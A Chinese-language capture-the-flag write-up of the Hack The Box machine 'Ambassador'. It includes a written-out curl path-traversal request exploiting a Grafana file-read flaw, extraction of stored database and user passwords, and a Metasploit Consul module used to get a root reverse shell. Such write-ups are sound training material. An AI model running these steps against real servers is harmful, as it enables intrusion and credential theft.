HTB-Ambassador
查看端口
修改hosts,80端口
3000端口是Grafana,可以想到有一个任意文件读取(CVE-2021-43798),初步检查存在该漏洞
读一下grafana的配置文件,默认位置/etc/grafana/grafana.ini
查一下默认密码
admin_password = messageInABottle685427
成功登录:
我们利用curl下载grafana的db文件:
curl --path-as-is http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
利用sqlite3读取数据库并查看data_source:
sqlite3 grafana.db
.tables
select * from data_source
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-10-13 17:09:54|0|{}|1|uKewFgM4z
实际情况可能是通过AES-256进行加密,我们可以使用这个工具进行解密,我们获取到了mysql密码dontStandSoCloseToMe63221! 并通过grafana账号可以登录
成功发现developer的加密密码,base64解密
YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==
anEnglishManInNewYork027468
登录developer账号获取flag:
我们在opt文件夹下发现了一个my-app文件夹,通过主页的信息可以猜测这个文件夹是开发者提交的地方
那么我们用git log查看一下是否有提交日志
成功发现了git日志,那我尝试git show 33a53ef9a207976d5ceceddc41a199558843bf3c看一下具体修改了什么代码:
提权思路:
我们看到Consul,google一下发现
那么我们查找一下HashiCorp Consul的漏洞
发现存在RCE,具体测试步骤如下:
首先我们需要将ssh转发到本地,这里我转发到本地的8500端口:
ssh developer@ambassador.htb -L 8500:localhost:8500
我们访问一下本地的8500端口,如果发现存在API,那么就证明存在漏洞
我们是用msf中的consul_service_exec模块来进行利用,设置RHOSTS为localhost,端口是转发过来的8500,ACL_TOKEN是git中获取到的:
发起攻击,成功反弹一个root权限的shell回来:
查看flag